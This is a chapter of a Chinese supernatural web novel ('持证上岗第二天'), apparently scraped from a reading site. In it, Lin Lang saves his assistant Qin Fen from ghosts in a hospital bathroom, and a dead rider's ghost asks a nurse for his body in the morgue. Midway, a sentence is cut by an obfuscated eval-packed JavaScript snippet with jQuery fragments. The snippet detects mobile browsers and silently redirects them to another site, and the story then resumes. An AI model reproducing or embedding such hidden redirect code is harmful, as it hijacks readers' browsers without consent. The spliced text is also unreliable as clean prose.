默认冷灰
24号文字
方正启体

2. 持证上岗第二天

作者:痴嗔本真本书字数:K更新时间:
    持证上岗第二天


    临朗拄着吊水的输液架,慢悠悠地跟着骚-动的人群回病房。


    在他前后两米内,无人靠近,硬是在挤挤攘攘的过道里成了一片真空。


    “死掉的那个,就是刚才来闹的老头吧?”人群里有人掩嘴小声问。


    “可不就是他!那小年轻前脚刚说他要出事,后脚就没了!都没过一个钟!”


    “嘶,这么邪门?”


    “听说了没,那个骑手也死了!不会也被他说中了吧?”


    “小点声!别让他听见!”


    临朗见周围人群各个都是避他如蛇蝎猛兽的样子,他一挑唇角,眼底尽是嘲讽——


    人,不管隔了多少个千百年,都还是这个样子,总爱把灾厄意外归于他人身上,尤其是第一个道出真相的人,往往会成那个众矢之的。


    偏偏,他就喜欢看这些人为此惊恐无比的样子,偏不收敛。


    临朗收拢眼里的冷淡,回到病床上。


    刚回病房没多久,秦奋就面色煞白地跑来了,撑着膝盖在临朗面前直喘粗气。


    他也不知道自己跑上来干什么,他心里有许多想问临朗的——


    怎么知道老头何时死、为何死?


    怎么知道会有个“红夹克”出现?


    要是他没有听话避开,他会怎么样?


    话到了嘴边,却是在对上临朗视线的一瞬,忍不住发毛,竟是什么也不敢问了,总觉得,要是问出口,他平淡无常的小日子就彻底打破了。


    “你还不回去?”临朗瞥了秦奋一眼。


    秦奋脑海里不期然地闪过刚才楼下血淋淋的场面,还有那小老头捂着喉咙瞪出眼睛的模样,冷汗又冒出来了。


    他厚着脸皮对临朗笑:“老师,我想想还是今晚陪夜吧,您有什么需要的就喊我。”


    临朗一听就知道这人是怕了,他弯弯嘴角,没有拒绝,只是凉嗖嗖地飘过一句话:“胆子这么小,还想做心理医生?”


    “啊?”秦奋莫名心里打了个突。


    这和做心理医生有什么关系?


    临朗却是浅阖上眼,没有再回答。


    依他记忆里原身遇到的咨询,心理因素、因果因素,对半开。


    来看心理的,未必是有病。


    是有因。


    在医院,过了七点就要熄灯睡觉了。


    秦奋显然没那么早睡过,窝在借来的行军床上偷偷玩手机。


    一直玩到眼皮打架,憋尿憋得难受,秦奋才揉着眼睛起身。


    他轻手轻脚地打开房门,一出病房,过道里只有两排贴着墙线的地灯亮着光,昏暗又静悄的样子让秦奋不由加快脚步。


    他看了眼反方向的远处护士台,见护士台的灯亮着,心里多少有点宽慰。


    滴答。


    滴答。


    卫生间里滴着水声,清脆的声音在水管里回荡,夹杂着轻微的吱嘎声,像是隔间的破门在来回被推动。


    秦奋不知道怎么的就觉得心里发慌,他按了按灯控开关,居然是坏的。


    他只好摸黑上了隔间,一完事就立马跑去洗手。


    洗手台前的镜子许久没擦拭干净过,笼着一层厚厚的脏污,看什么都不真切。


    秦奋下意识抬眼瞥去,却不想顿时冷汗都逼了出来——


    眼前镜子里像是挤着密密麻麻的人影!


    他倒吸口气,不由自主地后退一步,身体好似抵上了一堵软绵却冰冷的墙。


    眼前洗手台的水龙头唰地冲出了水。


    秦奋瞳孔一缩,头皮砰地发麻,眼睛不受控制地紧盯着洗手台里飞快上涨的水位。


    水慢慢溢出,落在地板上,流水就像是有意识一般,沿着地砖的缝隙,如一只看不见的手,朝他的双脚缓缓蔓延过来。


    他甚至能听见自己身后隐隐传来喘气的声音,但声音却又古怪极了,像是破旧的抽风机一样,每一下的喘息,都仿佛有风从别处漏出来。


    秦奋不敢回头看,却能清晰地感觉到一只冰凉的手贴上了他的脖颈,缓缓摸上了他的喉结。


    “唔!”他张嘴尖叫,却连声音都发不出,只能喷出挣扎扭曲的鼻息,双手双脚像是被无形的铁链缠住了一样,怎么也动弹不得!


    他无望又惊恐地死死瞪着正前方的镜面。


    隐约中,那挤挤攘攘的人影里,一个矮小佝偻的影子向前一步,紧贴着他。


    影子染上猩红,一只手陡然在污垢模糊中变得分明,细长如尖爪,仿佛要剜进他的喉咙里!


    秦奋疯狂地呜咽摇晃着,只觉得皮肤的触感变得无比敏锐,尖锐的刺痛带着渗进骨子里的阴冷穿透了进来。


    他要死了。


    他的脑海中一闪而过这个念头,绝望地瞪大了眼睛。


    下一秒,却是一道金光忽地在眼前闪过,刺得他忍不住闭上眼,与此同时,背后的阴冷气息和喉咙的刺痛感,竟是全数消失了!


    秦奋不可思议地飞快睁开眼,就见卫生间的门口,临朗一手搭在灯控开关上,脸上带着淡淡的嫌弃看过来。


    “上个厕所,掉坑里去了?不知道开灯?”临朗开口便是嘲讽。


    秦奋却是觉得老师的嘲讽像天籁,瞬间双眼滚烫,哇地一声大哭起来:“老师!老师!有鬼啊!好多好多!”


    他踉踉跄跄地冲到临朗身前,膝盖一软,扑通摔在地上,却紧紧抱住了临朗的小腿,像是救命稻草一样。


    秦奋胡乱摸着自己的喉咙,不敢相信地喃喃:“我能说话了?我能说话了!”


    “老师你看到了吗!有鬼抓着我不让我走啊,然后一道金光!把它给打散了!”秦奋一把鼻涕一把泪地说道,抓着临朗的手就是不肯松开。


    一定是老师!一定是老师来找他救他了!他就知道老师不一般!


    他的大吵大闹在宁静的过道里格外刺耳,引得不少人从病房里探出身来看,很快惊扰了护士匆匆过来。


    临朗见围观的人越来越多,微蹙起眉,食指中指并拢,不轻不重地在秦奋的额头一点:“什么金光,开个灯还犯臆病了?跟我回去!”


    秦奋不由自主地往后仰了仰,只觉得一股清凉的气息驱散了浑身的粘腻冷汗。


    “老师……”他张了张嘴,旋即就注意到周围不知何时引来的人群。


    他一个激灵,有些反应过来,乖乖闭上嘴。


    临朗瞥了秦奋一眼,视线在逼-仄阴湿的厕所里淡淡扫了一圈,落在靠墙的隔间小门处——


    一道佝偻的、精瘦矮小的人影,与轻轻晃动的隔门影子,近乎融为了一体,叫人几乎看不出来。


    那影子似乎也是注意到了临朗的视线,却并未蜷缩进阴影中,反倒是慢慢地张开了那枯


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15634770|172630||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    枝似的手,慢慢悠悠地荡着,像是在招揽,又像是在挑衅。


    临朗眼色沉了沉。


    树影映下,婆娑晃动着,更多的人影在瓷砖的灰暗中攒动,像是地府里的百鬼狰狞着要破出枷锁。


    他能感觉到这个世界灵气稀薄,他体内所能调动的灵力道念才因此少得可怜,但现在看,这些鬼物……又怪异得异常活跃。


    古怪。


    他一字未提,只是拖着秦奋回病房里。


    这些鬼物通常不良于行,只会被困在原地,有秦奋刚才那么一闹,想必也不会有人再敢进这间厕所了。


    病房里的灯仍是暗的,其他人也都老老实实地待在自己的床位上,当作没看见临朗和秦奋的进出,恨不得避避开。


    秦奋压低声音,在临朗耳边絮絮叨叨:“老师,您信我,我真撞鬼了,有东西不让我动,不让我说话,还要捅我的喉咙啊老师,怎么办啊……”


    “吵死了。”临朗被他念得头晕,一抬手,啪地一声拍人脑门上,就见秦奋像是突然断了电的人偶,软绵绵地就倒行军床上了。


    世界清净。


    临朗借着过道透进来的昏暗光线打量秦奋,果然这人的喉咙上浮出几道青紫色的握痕,有一处又细又深,几乎要破了皮。


    若是秦奋看得到,就会反应过来,这位置,与傍晚时分那老头被捅的位置分毫不差。


    秦奋在行军床上倒得四仰八叉,裤脚衣袖都卷了开来,在这些衣物之下,一道道仿佛铁链似的捆痕清晰可见,仿佛蔓延生长在了秦奋的身上。


    临朗呼吸微微一促,锁生魂?


    这人……已经被鬼锚住了。


    但怎么就偏偏是秦奋?


    临朗皱着眉,正欲躺下,余光却忽然瞥见一道反光从秦奋的身上射来。


    他弯身在秦奋身上摸索,很快,手指触碰到了一片尖锐硬物,他顿了顿,缓缓从秦奋的牛仔外套里抽出——


    一片只有指甲盖大小的、沾血的玻璃碎片。


    临朗脸色微微一动。


    与此同时,护士台处。


    一个男人凭空出现在走廊尽头的玻璃窗前,身形几乎和阴影融为一体。


    映在窗户上的倒影格外古怪,就像是被拼凑起来的四肢,极不协调。


    他一声不吭地静静伫立在那儿,走道的灯忽然接触不良似的闪烁两下,轻微的脚步声走近护士台。


    “看谁的?”原本深夜就不接受探访,护士头也不抬地不耐烦道。


    “木子李,山峰的山,李山。”那人声音很哑,说话含混,像是舌头根被粘了起来似的。


    护士将名字输入系统,跳出了今天行凶死亡的摩托车骑手。


    “他啊……”护士讷讷地盯着系统画面。


    “我的身体,修好了吗?”那人轻轻哑哑地打断问。


    护士猛地抬头,就见面前站着的人,分明顶着系统画面里李山的脸!


    他身上穿着浸满了血的夹克衫,浑身插满玻璃碎片,一侧的肩膀不自然地倾斜耷拉着,完全是被撞折的模样。


    男人歪着脖子,贴近了护士的电脑。


    一股带着淡淡腐烂的腥臭味扑鼻而来!


    那人一字一顿地念出上面的信息:“太平间,10号柜。”


    “太平间,10号柜。”他缓缓站直,“你能……给我带路吗?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)